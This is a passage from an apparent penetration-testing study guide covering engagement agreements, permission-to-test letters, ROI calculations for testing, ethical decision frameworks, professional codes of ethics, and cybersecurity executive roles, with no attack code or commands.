&lt;p&gt;&lt;strong&gt;Kickoff Meeting Agenda:&lt;/strong&gt;&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;Introductions and roles&lt;/li&gt;
&lt;li&gt;Review and confirmation of SOW scope&lt;/li&gt;
&lt;li&gt;Review and confirmation of ROE&lt;/li&gt;
&lt;li&gt;Emergency stop procedure confirmation&lt;/li&gt;
&lt;li&gt;Communication protocol confirmation&lt;/li&gt;
&lt;li&gt;Technical access requirements (VPN access for internal testing)&lt;/li&gt;
&lt;li&gt;Questions and clarifications&lt;/li&gt;
&lt;li&gt;Formal authorization confirmation&lt;/li&gt;
&lt;/ol&gt;




&lt;h3&gt;
  
  
  2.2.7 Creating a Penetration Testing Agreement
&lt;/h3&gt;

&lt;p&gt;A penetration testing agreement is the formal collection of all contractual documents governing the engagement. In practice, this is not a single document but a package:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;
&lt;strong&gt;MSA&lt;/strong&gt; (if not already in place)&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;SOW&lt;/strong&gt; — Specific to this engagement&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;NDA&lt;/strong&gt; (if not included in MSA)&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;ROE Document&lt;/strong&gt; — Technical parameters&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Authorization Letter / Permission to Test Letter&lt;/strong&gt; — Explicit authorization&lt;/li&gt;
&lt;/ol&gt;

&lt;h4&gt;
  
  
  The Permission to Test Letter (Get Out of Jail Free Card)
&lt;/h4&gt;

&lt;p&gt;Penetration testers should always carry with them, either physically or digitally, a copy of the authorization document for the current engagement. If law enforcement or security personnel challenge the testing activity, this document demonstrates legal authorization.&lt;/p&gt;

&lt;p&gt;The letter should include:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Client organization name and address&lt;/li&gt;
&lt;li&gt;Testing firm name and address&lt;/li&gt;
&lt;li&gt;Names of authorized testers (and potentially their IDs)&lt;/li&gt;
&lt;li&gt;Authorized target systems (IP ranges, domains)&lt;/li&gt;
&lt;li&gt;Authorized testing timeframe&lt;/li&gt;
&lt;li&gt;Emergency contact information&lt;/li&gt;
&lt;li&gt;Signature of authorized client representative (with title)&lt;/li&gt;
&lt;li&gt;Date&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;This document is sometimes colloquially referred to as a "get out of jail free card" — while hyperbolic, the concept is accurate: it is the tester's primary legal defense in the event of a misunderstanding.&lt;/p&gt;




&lt;h3&gt;
  
  
  2.2.8 Business Justification — ROI of Penetration Testing
&lt;/h3&gt;

&lt;p&gt;Penetration testing is a significant investment. A comprehensive enterprise penetration test can cost anywhere from $10,000 to $500,000 or more depending on scope, complexity, and duration. Justifying this investment to organizational leadership requires a clear understanding of the business case.&lt;/p&gt;

&lt;h4&gt;
  
  
  Questions Clients Ask — and How to Answer Them
&lt;/h4&gt;

&lt;p&gt;&lt;strong&gt;"How do I justify the full cost of a penetration test to my executive team?"&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Frame penetration testing as risk reduction with quantifiable value:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;Regulatory compliance cost avoidance&lt;/strong&gt; — Fines for non-compliance (PCI DSS up to $100K/month, GDPR up to 4% of global revenue, HIPAA up to $1.9M/year per violation type) dramatically exceed the cost of a penetration test.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;Breach cost comparison&lt;/strong&gt; — IBM Cost of a Data Breach Report 2023 puts the average cost of a data breach at $4.45 million globally. A penetration test that discovers and enables remediation of a critical vulnerability costs a fraction of a breach.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;Cyber insurance premium reduction&lt;/strong&gt; — Many cyber insurance carriers now offer premium reductions for organizations that conduct regular penetration testing, as it demonstrates a proactive security posture.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;Business continuity preservation&lt;/strong&gt; — Downtime costs are quantifiable. If a ransomware attack encrypts production systems, the cost per hour of downtime (lost revenue, recovery costs, reputational damage) can exceed the annual penetration testing budget.&lt;/p&gt;&lt;/li&gt;
&lt;/ol&gt;




&lt;p&gt;&lt;strong&gt;"We already have firewalls, antivirus, and vulnerability scanners. Why do we need a penetration test?"&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Technical controls do not test themselves. The value of penetration testing over vulnerability scanning:&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Vulnerability Scanning&lt;/th&gt;
&lt;th&gt;Penetration Testing&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Identifies known vulnerabilities&lt;/td&gt;
&lt;td&gt;Actively exploits vulnerabilities to confirm impact&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Does not chain vulnerabilities&lt;/td&gt;
&lt;td&gt;Demonstrates multi-step attack paths&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Cannot discover logic flaws&lt;/td&gt;
&lt;td&gt;Discovers business logic vulnerabilities&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Cannot test human factors&lt;/td&gt;
&lt;td&gt;Tests social engineering resistance&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Point-in-time snapshot&lt;/td&gt;
&lt;td&gt;Reveals real attacker capability&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Does not test compensating controls&lt;/td&gt;
&lt;td&gt;Tests whether controls actually work together&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;Firewalls and antivirus are controls — penetration testing validates that those controls are effective under real attack conditions.&lt;/p&gt;




&lt;p&gt;&lt;strong&gt;"How can I integrate penetration testing as a success factor?"&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Penetration testing should be integrated into:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;SDLC (Software Development Life Cycle)&lt;/strong&gt; — Application penetration testing before production deployment (shift-left security)&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Change management&lt;/strong&gt; — Testing required after significant infrastructure changes&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;M&amp;amp;A due diligence&lt;/strong&gt; — Security assessment of acquired organizations&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Compliance cycles&lt;/strong&gt; — Annual testing as a compliance requirement&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Incident response&lt;/strong&gt; — Post-incident testing to verify remediation&lt;/li&gt;
&lt;/ul&gt;




&lt;p&gt;&lt;strong&gt;"Can I do this myself (with internal resources)?"&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Internal penetration testing is possible but has significant limitations:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Objectivity bias&lt;/strong&gt; — Internal testers may unconsciously avoid testing systems they are responsible for, or overlook issues they helped create&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Skill breadth&lt;/strong&gt; — A full-scope penetration test requires expertise across network security, web application security, social engineering, physical security, cloud security, and more&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Regulatory requirements&lt;/strong&gt; — PCI DSS explicitly requires an external qualified assessor for external penetration testing&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Tool licensing&lt;/strong&gt; — Commercial penetration testing tool suites are expensive&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Time&lt;/strong&gt; — Skilled internal security staff are already managing day-to-day operations&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Independence&lt;/strong&gt; — Compliance frameworks generally require independent assessment&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;A hybrid approach (internal team supported by external specialists) is often the optimal solution.&lt;/p&gt;




&lt;p&gt;&lt;strong&gt;"How do I calculate the ROI of penetration testing?"&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;ROI Formula for Penetration Testing:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;ROI = (Risk Reduction Value − Cost of Penetration Test) / Cost of Penetration Test × 100%
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Risk Reduction Value Calculation:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Risk Reduction Value = Annual Loss Expectancy (ALE) Before Test − ALE After Remediation

ALE = Annual Rate of Occurrence (ARO) × Single Loss Expectancy (SLE)

SLE = Asset Value × Exposure Factor
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Simplified Example:&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;A critical web application has a 30% annual probability of being compromised (ARO = 0.30)&lt;/li&gt;
&lt;li&gt;A successful compromise would cost $2,000,000 in breach costs, downtime, and regulatory fines (SLE = $2,000,000)&lt;/li&gt;
&lt;li&gt;ALE Before Test = 0.30 × $2,000,000 = $600,000&lt;/li&gt;
&lt;li&gt;The penetration test costs $50,000 and identifies vulnerabilities that, when remediated, reduce breach probability to 5%&lt;/li&gt;
&lt;li&gt;ALE After Remediation = 0.05 × $2,000,000 = $100,000&lt;/li&gt;
&lt;li&gt;Risk Reduction Value = $600,000 − $100,000 = $500,000&lt;/li&gt;
&lt;li&gt;ROI = ($500,000 − $50,000) / $50,000 × 100% = &lt;strong&gt;900%&lt;/strong&gt;
&lt;/li&gt;
&lt;/ul&gt;




&lt;h4&gt;
  
  
  Questions the Penetration Tester Must Answer
&lt;/h4&gt;

&lt;p&gt;&lt;strong&gt;"How do I account for all engagement line items without exceeding budget?"&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Professional penetration testing pricing models:&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Model&lt;/th&gt;
&lt;th&gt;Description&lt;/th&gt;
&lt;th&gt;Best For&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Fixed-price&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Flat fee for defined scope&lt;/td&gt;
&lt;td&gt;Well-defined scope, compliance assessments&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Time and Materials (T&amp;amp;M)&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Hourly/daily rate for actual time spent&lt;/td&gt;
&lt;td&gt;Exploratory assessments, unclear scope&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Retainer&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Monthly fee for ongoing availability&lt;/td&gt;
&lt;td&gt;Organizations requiring continuous testing&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Risk-based pricing&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Pricing based on the value of assets being protected&lt;/td&gt;
&lt;td&gt;High-value targets, financial sector&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;&lt;strong&gt;Budget line items to include:&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Planning and scoping (10-15% of total)&lt;/li&gt;
&lt;li&gt;Reconnaissance and OSINT&lt;/li&gt;
&lt;li&gt;Vulnerability discovery and exploitation&lt;/li&gt;
&lt;li&gt;Post-exploitation and lateral movement&lt;/li&gt;
&lt;li&gt;Report writing and documentation&lt;/li&gt;
&lt;li&gt;Debrief and presentation&lt;/li&gt;
&lt;li&gt;Retest (after remediation) — typically 20-30% of initial test cost&lt;/li&gt;
&lt;li&gt;Travel and expenses (for on-site testing)&lt;/li&gt;
&lt;li&gt;Tool licensing costs&lt;/li&gt;
&lt;li&gt;Legal review (if required)&lt;/li&gt;
&lt;/ul&gt;




&lt;p&gt;&lt;strong&gt;"How do I clearly show the client the ROI?"&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Best practices for demonstrating ROI in reports:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;
&lt;strong&gt;Executive Summary&lt;/strong&gt; — Non-technical section quantifying risk reduction and business impact&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Risk Register&lt;/strong&gt; — Mapping each finding to business risk in financial terms&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Compliance Gap Analysis&lt;/strong&gt; — Showing which regulatory requirements were addressed&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Before/After Comparison&lt;/strong&gt; — If a retest was conducted, quantify improvement&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Benchmark Comparison&lt;/strong&gt; — Compare client's security posture to industry benchmarks&lt;/li&gt;
&lt;/ol&gt;




&lt;h2&gt;
  
  
  2.3 Demonstrating an Ethical Hacking Mindset by Maintaining Professionalism and Integrity
&lt;/h2&gt;

&lt;h3&gt;
  
  
  2.3.1 Overview — The Professional Ethical Hacker
&lt;/h3&gt;

&lt;p&gt;The word "ethical" in "ethical hacker" is not decorative — it is fundamental. An ethical hacker possesses the same technical skills as a malicious hacker but applies them within a framework of professional ethics, legal authorization, and a commitment to improving security rather than exploiting it.&lt;/p&gt;

&lt;p&gt;The ethical hacker operates with three foundational principles:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;
&lt;strong&gt;Authorization&lt;/strong&gt; — Never access a system without explicit, documented permission&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Confidentiality&lt;/strong&gt; — Protect all information obtained during testing with the same care as classified material&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Integrity&lt;/strong&gt; — Report findings honestly and completely, even when findings are uncomfortable for the client&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;An ethical hacker who discovers nothing notable in a penetration test should report exactly that — not embellish findings to justify fees, and not downplay findings to maintain a client relationship.&lt;/p&gt;




&lt;h3&gt;
  
  
  2.3.2 Ethical Frameworks and Decision-Making Models
&lt;/h3&gt;

&lt;p&gt;Ethical dilemmas arise regularly in penetration testing. An ethical hacker needs a structured framework for making decisions when the right course of action is not immediately obvious.&lt;/p&gt;

&lt;h4&gt;
  
  
  Utilitarian Ethics (Consequentialist Ethics)
&lt;/h4&gt;

&lt;p&gt;&lt;strong&gt;Core Principle:&lt;/strong&gt; The morally right action is the one that produces the greatest good for the greatest number of people.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Application in Penetration Testing:&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;When deciding whether to escalate a discovered vulnerability during a test:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Utilitarian calculation:&lt;/strong&gt; Would disclosing this now (even outside normal reporting) prevent greater harm to more people?&lt;/li&gt;
&lt;li&gt;Example: If a tester discovers an actively exploited zero-day vulnerability during a test, the utilitarian calculus may favor immediate disclosure to the client even if it disrupts the test timeline, because the potential harm from continued exploitation outweighs the inconvenience.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;Limitation:&lt;/strong&gt; Purely utilitarian thinking can be used to justify problematic actions if the outcome is deemed sufficiently beneficial. ("I'll exploit this unrelated server because finding evidence of a breach will ultimately help more people.")&lt;/p&gt;




&lt;h4&gt;
  
  
  Rights-Based Ethics (Deontological Ethics)
&lt;/h4&gt;

&lt;p&gt;&lt;strong&gt;Core Principle:&lt;/strong&gt; Certain rights are fundamental and must be respected regardless of the consequences. The morally right action is one that respects the rights of all individuals involved.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Application in Penetration Testing:&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Individuals whose data is encountered during a test have a right to privacy, regardless of how that data is technically accessible&lt;/li&gt;
&lt;li&gt;The organization being tested has a right to accurate, honest reporting, regardless of commercial pressures&lt;/li&gt;
&lt;li&gt;Third parties whose systems are discovered to be connected to the target have a right not to have their systems accessed without authorization, even if accessing them would provide valuable information&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;Rights-based thinking in action:&lt;/strong&gt; A penetration tester discovers credentials that would give access to a third-party vendor's systems. Even though this would be technically possible and potentially revealing, the third party's right to security of their systems prohibits accessing them without authorization.&lt;/p&gt;




&lt;h4&gt;
  
  
  Common Good Approach (Communitarian Ethics)
&lt;/h4&gt;

&lt;p&gt;&lt;strong&gt;Core Principle:&lt;/strong&gt; Ethical action is that which promotes the well-being of the community as a whole. Individuals are members of a community, and actions should strengthen social institutions and benefit all community members.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Application in Penetration Testing:&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;The cybersecurity community has an obligation to share knowledge about vulnerabilities in a responsible way (coordinated disclosure)&lt;/li&gt;
&lt;li&gt;Penetration testers contribute to the common good by helping organizations improve their security, thereby protecting users, customers, and society&lt;/li&gt;
&lt;li&gt;Vulnerability disclosure decisions should consider the impact on the entire user community of an affected software product, not just the immediate client&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;Responsible Disclosure / Coordinated Vulnerability Disclosure (CVD):&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;When a penetration tester discovers a vulnerability in a vendor's product (not just the client's implementation), ethical obligations extend beyond the client:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;Notify the vendor of the vulnerability&lt;/li&gt;
&lt;li&gt;Allow the vendor a reasonable timeframe to develop and release a patch (typically 90 days — Google Project Zero standard)&lt;/li&gt;
&lt;li&gt;Coordinate public disclosure after the patch is available&lt;/li&gt;
&lt;li&gt;Do not publicly disclose vulnerability details until a patch is available (or the disclosure deadline passes)&lt;/li&gt;
&lt;/ol&gt;




&lt;h4&gt;
  
  
  Justice / Fairness Approach
&lt;/h4&gt;

&lt;p&gt;&lt;strong&gt;Core Principle:&lt;/strong&gt; Ethical action treats all individuals fairly and does not favor some individuals over others based on arbitrary distinctions. What is right is what treats all parties consistently.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Application in Penetration Testing:&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Reporting findings consistently regardless of whether the findings reflect poorly on someone with decision-making power over the testing firm's contract&lt;/li&gt;
&lt;li&gt;Applying the same level of thoroughness to all clients, regardless of their fee level&lt;/li&gt;
&lt;li&gt;Not providing favorable reporting to clients who hint at continued business versus accurate reporting&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;The Fairness Test:&lt;/strong&gt; "Would I be comfortable if my most respected peer in the industry reviewed exactly what I did and why?" If the answer is no, reconsider.&lt;/p&gt;




&lt;h4&gt;
  
  
  The ISSA Code of Ethics
&lt;/h4&gt;

&lt;p&gt;The &lt;strong&gt;Information Systems Security Association (ISSA)&lt;/strong&gt; Code of Ethics requires members to:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Perform all professional activities and duties in accordance with applicable laws&lt;/li&gt;
&lt;li&gt;Not engage in any activities that would be considered unethical or that would bring reproach upon the profession&lt;/li&gt;
&lt;li&gt;Protect the privacy and confidentiality of information obtained in the course of professional activities&lt;/li&gt;
&lt;li&gt;Disclose to appropriate parties information that may place others at risk&lt;/li&gt;
&lt;li&gt;Maintain the highest standards of professional conduct&lt;/li&gt;
&lt;/ul&gt;




&lt;h4&gt;
  
  
  EC-Council Code of Ethics
&lt;/h4&gt;

&lt;p&gt;The &lt;strong&gt;EC-Council (International Council of E-Commerce Consultants)&lt;/strong&gt; Code of Ethics — governing body for the CEH (Certified Ethical Hacker) certification — requires certified professionals to:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Keep client information confidential&lt;/li&gt;
&lt;li&gt;Never access a computer system without permission&lt;/li&gt;
&lt;li&gt;Not use their knowledge to harm others&lt;/li&gt;
&lt;li&gt;Report all relevant information found during a penetration test&lt;/li&gt;
&lt;li&gt;Respect intellectual property rights&lt;/li&gt;
&lt;li&gt;Uphold the dignity of the security profession&lt;/li&gt;
&lt;/ul&gt;




&lt;h4&gt;
  
  
  (ISC)² Code of Ethics
&lt;/h4&gt;

&lt;p&gt;The &lt;strong&gt;(ISC)² Code of Ethics&lt;/strong&gt; — governing body for CISSP, CCSP, and other certifications — is built on four mandatory canons (in priority order):&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;Protect society, the common good, necessary public trust and confidence, and the infrastructure&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Act honorably, honestly, justly, responsibly, and legally&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Provide diligent and competent service to principals (clients, employers)&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Advance and protect the profession&lt;/strong&gt;&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;The priority ordering matters: if following canon 3 (serving a client) would require violating canon 1 (protecting society), the ethical professional must prioritize society over the client.&lt;/p&gt;




&lt;h3&gt;
  
  
  2.3.3 Personal Code of Conduct
&lt;/h3&gt;

&lt;p&gt;A professional ethical hacker should internalize a personal code of conduct that governs their behavior both during engagements and in their broader professional activities.&lt;/p&gt;

&lt;h4&gt;
  
  
  Core Behavioral Commitments
&lt;/h4&gt;

&lt;p&gt;&lt;strong&gt;1. Authorization First, Always&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Never begin any testing activity without confirmed, written authorization. If authorization is unclear, stop and seek clarification. When in doubt, don't.&lt;/p&gt;

&lt;p&gt;"The question to ask is not 'Can I get away with this?' but 'Do I have explicit authorization to do this?'"&lt;/p&gt;




&lt;p&gt;&lt;strong&gt;2. Confidentiality as a Sacred Obligation&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Information discovered during a penetration test is confidential. This means:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Do not discuss specific client vulnerabilities with colleagues who are not on the engagement team&lt;/li&gt;
&lt;li&gt;Do not use client systems or information for personal gain&lt;/li&gt;
&lt;li&gt;Do not retain client data beyond what is necessary for reporting&lt;/li&gt;
&lt;li&gt;Secure destroy all client data at the end of the engagement as specified in the contract&lt;/li&gt;
&lt;li&gt;Do not disclose the identity of clients without explicit consent (many organizations prefer not to publicly disclose that they conduct penetration testing)&lt;/li&gt;
&lt;/ul&gt;




&lt;p&gt;&lt;strong&gt;3. Honesty in Reporting&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Report findings as they are — not filtered through what the client wants to hear. Professional reporting includes:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Reporting all findings, including minor ones&lt;/li&gt;
&lt;li&gt;Accurately describing the exploitability and impact of findings&lt;/li&gt;
&lt;li&gt;Not embellishing the severity of findings&lt;/li&gt;
&lt;li&gt;Not minimizing findings under client pressure&lt;/li&gt;
&lt;li&gt;Clearly communicating uncertainty when the impact of a finding is unclear&lt;/li&gt;
&lt;/ul&gt;




&lt;p&gt;&lt;strong&gt;4. Minimal Footprint Principle&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;During testing, the ethical hacker should avoid:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Leaving unnecessary artifacts (backdoors, created accounts, uploaded tools) on tested systems&lt;/li&gt;
&lt;li&gt;Accessing, copying, or retaining more data than necessary to demonstrate the vulnerability&lt;/li&gt;
&lt;li&gt;Creating system changes that are not necessary for testing&lt;/li&gt;
&lt;li&gt;Causing service disruption beyond what is necessary and authorized&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;At the end of the engagement, all artifacts created during testing must be removed, and all changes must be reversed or documented for the client to reverse.&lt;/p&gt;




&lt;p&gt;&lt;strong&gt;5. Disclosure of Incidental Findings&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;During a penetration test, the tester may discover evidence of prior breaches, insider threats, or criminal activity (child exploitation material, fraud, evidence of data theft). These situations require careful handling:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Prior breach evidence:&lt;/strong&gt; Immediately notify the client. Document the evidence without interfering. The client's incident response team and legal counsel must be involved immediately.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Criminal activity evidence:&lt;/strong&gt; Stop testing immediately. Notify the client. Consult your own legal counsel. Do not destroy or tamper with evidence. Depending on the jurisdiction and nature of the crime, mandatory reporting to law enforcement may be required.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;The key principle: these situations are outside the scope of the engagement. The ethical hacker's role is to stop, document, notify, and defer to the client's legal counsel.&lt;/p&gt;




&lt;p&gt;&lt;strong&gt;6. Continuous Professional Development&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;The threat landscape evolves constantly. An ethical hacker who stops learning becomes a liability. Professional commitment includes:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Maintaining certifications through continuing education&lt;/li&gt;
&lt;li&gt;Staying current with vulnerability disclosures (CVE databases, vendor security advisories)&lt;/li&gt;
&lt;li&gt;Participating in the security community (conferences, CTFs, open-source contributions)&lt;/li&gt;
&lt;li&gt;Sharing knowledge responsibly within the community&lt;/li&gt;
&lt;/ul&gt;




&lt;h2&gt;
  
  
  2.4 Key Roles, Titles, and Organizational Structures in Cybersecurity
&lt;/h2&gt;

&lt;p&gt;Understanding the organizational hierarchy and role definitions is essential for penetration testers who must communicate findings across different levels of a client organization and navigate the approval and contracting processes.&lt;/p&gt;




&lt;h3&gt;
  
  
  Executive Roles
&lt;/h3&gt;

&lt;h4&gt;
  
  
  CISO — Chief Information Security Officer
&lt;/h4&gt;

&lt;p&gt;The CISO is the senior executive responsible for establishing and maintaining the organization's vision, strategy, and program to ensure information assets and technologies are adequately protected.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Responsibilities:&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Developing and implementing the information security strategy&lt;/li&gt;
&lt;li&gt;Managing the security team and budget&lt;/li&gt;
&lt;li&gt;Reporting security posture to the Board of Directors and C-suite&lt;/li&gt;
&lt;li&gt;Overseeing incident response and breach management&lt;/li&gt;
&lt;li&gt;Managing relationships with regulators and auditors&lt;/li&gt;
&lt;li&gt;Authorizing penetration testing engagements&lt;/li&gt;
&lt;li&gt;Reviewing and acting on penetration test findings&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;Penetration Testing Interaction:&lt;/strong&gt;&lt;br&gt;
The CISO is typically the person who authorizes penetration testing engagements and receives the executive summary of findings. When critical vulnerabilities are discovered, the CISO is the first executive to be notified.&lt;/p&gt;


&lt;h4&gt;
  
  
  CIO — Chief Information Officer
&lt;/h4&gt;

&lt;p&gt;The CIO is responsible for the company's information technology and computer systems. The CIO focuses on IT strategy, digital transformation, and ensuring that technology investments support business objectives.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Relationship to Security:&lt;/strong&gt;&lt;br&gt;
The CISO may report to the CIO, or the CISO may report directly to the CEO (a more security-mature organizational model). The CIO and CISO must collaborate on the security implications of IT decisions.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Penetration Testing Interaction:&lt;/strong&gt;&lt;br&gt;
The CIO may be the signing authority for penetration testing contracts (particularly in organizations where the CISO reports to the CIO). Infrastructure and network penetration test findings typically have CIO-level business impact that must be communicated in executive reporting.&lt;/p&gt;


&lt;h4&gt;
  
  
  CTO — Chief Technology Officer
&lt;/h4&gt;

&lt;p&gt;The CTO is responsible for the organization's technological needs and its research and development (R&amp;amp;D). The CTO typically focuses on external technology direction — product development, emerging technology strategy, and technical partnerships.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Relationship to Security:&lt;/strong&gt;&lt;br&gt;
In technology companies, the CTO may own the product development environment and the underlying technology platform. Application security findings from web application penetration tests are highly relevant to the CTO.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Penetration Testing Interaction:&lt;/strong&gt;&lt;br&gt;
Penetration test findings related to product security, API security, and development practices are often communicated to the CTO.&lt;/p&gt;


&lt;h4&gt;
  
  
  ISM — Information Security Manager
&lt;/h4&gt;

&lt;p&gt;The Information Security Manager (sometimes called Security Manager or IT Security Manager) is a mid-level management role responsible for implementing and managing the day-to-day information security program.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Responsibilities:&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Managing security analysts and engineers&lt;/li&gt;
&lt;li&gt;Implementing CISO-directed security strategy&lt;/li&gt;
&lt;li&gt;Coordinating security assessments and penetration tests&lt;/li&gt;
&lt;li&gt;Overseeing vulnerability management&lt;/li&gt;
&lt;li&gt;Reporting to CISO&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;Penetration Testing Interaction:&lt;/strong&gt;&lt;br&gt;
The ISM is often the primary client point of contact for the operational aspects of a penetration testing engagement. They coordinate logistics, provide technical information during scoping, and receive and action the technical findings report.&lt;/p&gt;


&lt;h3&gt;
  
  
  Security Operations Roles
&lt;/h3&gt;
&lt;h4&gt;
  
  
